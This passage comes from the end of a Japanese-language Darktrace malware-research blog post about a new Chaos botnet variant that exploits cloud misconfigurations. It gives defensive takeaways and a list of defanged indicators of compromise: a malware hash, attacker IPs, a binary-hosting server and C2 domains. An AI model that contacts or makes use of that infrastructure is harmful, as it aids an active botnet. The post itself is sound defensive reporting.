過去には、このドメインは154[.]26.209.250にも解決されており、これは専用サーバーレンタルを提供する低コストVPSプロバイダー、Kurun Cloudが所有していました。マルウェアはコマンドの送信および受信にポート65111を使用しますが、どちらのIPも本稿執筆時点ではこのポート上で接続を受け入れている様子はありませんでした。

主なポイント

Chaosは新しいマルウェアではなく、その継続的進化はサイバー犯罪者がボットネットをさらに拡大し機能を強化しようと努力を重ねていることの現れです。過去に報告されているChaosマルウェアにも、すでに幅広いルーターCVEのエクスプロイト機能が含まれていました。そして最近のLinuxクラウドサーバー脆弱性を狙った進化により、このマルウェアの影響範囲はさらに広がります。

したがって、セキュリティチームがCVEへのパッチを行い、クラウド上で展開されているアプリケーションに対して強固なセキュリティ設定を行うことが重要となります。クラウド市場が成長を続ける一方で、使用できるセキュリティツールが追い付かない状況においてこのことは特に重要な意味を持ちます。

AisuruやChaos等のボットネットがプロキシサービスをコア機能に取り入れる最近の変化は、ボットネットが組織とセキュリティチームにもたらすリスクはもはやDoS攻撃だけではないことを意味します。プロキシにより攻撃者はレート制限を回避し痕跡を隠すことができ、より複雑な形のサイバー犯罪が可能になると同時に、防御者にとっては悪意あるキャンペーンを検知しブロックすることが格段に難しくなります。

担当： Nathaniel Bill (Malware Research Engineer)
編集： Ryan Traill (Content Manager)

侵害インジケーター (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos マルウェアハッシュ

182[.]90.229.95 - 攻撃者 IP

pan.tenire[.]com (107[.]189.10.219) - 悪意あるバイナリをホストしているサーバー

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - 攻撃者 C2 サーバー

参考資料

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

About the author

Nathaniel Bill

Malware Research Engineer

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Blog

April 8, 2026

ダークトレースは新しいChaosマルウェア亜種によるクラウドの設定ミスのエクスプロイトを発見

はじめに

Chaosマルウェアとは?

Chaosマルウェア侵害についてのダークトレースの視点

アップデートされたChaosマルウェアサンプルの分析

主なポイント

侵害インジケーター (IoCs)

参考資料